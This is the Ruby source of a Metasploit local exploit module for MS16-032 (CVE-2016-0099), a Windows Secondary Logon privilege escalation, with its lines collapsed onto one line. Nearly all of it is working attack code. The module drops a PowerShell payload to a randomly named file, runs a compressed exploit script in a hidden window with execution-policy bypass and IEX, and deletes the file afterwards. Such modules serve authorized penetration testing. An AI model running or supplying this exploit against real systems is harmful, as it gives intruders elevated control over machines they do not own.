## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/payload_generator' require 'msf/core/exploit/powershell' require 'rex' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::File include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info = {}) super(update_info(info, 'Name' => 'MS16-032 Secondary Logon Handle Privilege Escalation', 'Description' => %q{ This module exploits the lack of sanitization of standard handles in Windows' Secondary Logon Service. The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores. }, 'License' => BSD_LICENSE, 'Author' => [ 'James Forshaw', # twitter.com/tiraniddo 'b33f', # @FuzzySec, http://www.fuzzysecurity.com' 'khr0x40sh' ], 'References' => [ [ 'MS', 'MS16-032'], [ 'CVE', '2016-0099'], [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ], [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html'] ], 'DefaultOptions' => { 'WfsDelay' => 30, 'EXITFUNC' => 'thread' }, 'DisclosureDate' => 'Mar 21 2016', 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ # Tested on (32 bits): # * Windows 7 SP1 [ 'Windows x86', { 'Arch' => ARCH_X86 } ], # Tested on (64 bits): # * Windows 7 SP1 # * Windows 8 # * Windows 2012 [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ] ], 'DefaultTarget' => 0 )) register_advanced_options( [ OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]), OptBool.new( 'DRY_RUN', [false, 'Only show what would be done', false ]), # How long until we DELETE file, we have a race condition here, so anything less than 60 # seconds might break OptInt.new('TIMEOUT', [false, 'Execution timeout', 60]) ], self.class) end def get_arch arch = nil if sysinfo["Architecture"] =~ /(wow|x)64/i arch = ARCH_X86_64 elsif sysinfo["Architecture"] =~ /x86/i arch = ARCH_X86 end arch end def check os = sysinfo["OS"] if os !~ /win/i # Non-Windows systems are definitely not affected. return Exploit::CheckCode::Safe end Exploit::CheckCode::Detected end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end arch1 = get_arch if check == Exploit::CheckCode::Safe print_error("Target is not Windows") return elsif arch1 == nil print_error("Architecture could not be determined.") return end # Exploit PoC from 'b33f' ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1') vprint_status("PS1 loaded from #{ps_path}") ms16_032 = File.read(ps_path) cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe' if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64 cmdstr.gsub!("System32","SYSWOW64") print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell") vprint_warning("#{cmdstr}") end # payload formatted to fit dropped text file payl = cmd_psh_payload(payload.encoded,payload.arch,{ encode_final_payload: false, remove_comspec: true, method: 'old' }) payl.sub!(/.*?(?=New-Object IO)/im, "") payl = payl.split("';$s.")[0] payl.gsub!("''","'") payl = "$s=#{payl}while($true){Start-Sleep 1000};" @upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt" path = datastore['W_PATH'] || pwd @upfile = "#{path}\\#{@upfile}" fd = session.fs.file.new(@upfile,"wb") print_status("Writing payload file, #{@upfile}...") fd.write(payl) fd.close psh_cmd = "IEX `$(gc #{@upfile})" #lpAppName ms16_032.gsub!("$cmd","\"#{cmdstr}\"") #lpcommandLine - capped at 1024b ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"") print_status('Compressing script contents...') ms16_032_c = compress_script(ms16_032) if ms16_032_c.size > 8100 print_error("Compressed size: #{ms16_032_c.size}") error_msg = "Compressed size may cause command to exceed " error_msg += "cmd.exe's 8kB character limit." print_error(error_msg) else print_good("Compressed size: #{ms16_032_c.size}") end if datastore['DRY_RUN'] print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}") return end print_status("Executing exploit script...") cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}" args = nil begin process = session.sys.process.execute(cmd, args, { 'Hidden' => true, 'Channelized' => false }) rescue print_error("An error occurred executing the script.") end end def cleanup sleep_t = datastore['TIMEOUT'] vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...") sleep sleep_t begin rm_f(@upfile) print_good("Cleaned up #{@upfile}") rescue print_error("There was an issue with cleanup of the powershell payload script.") end end end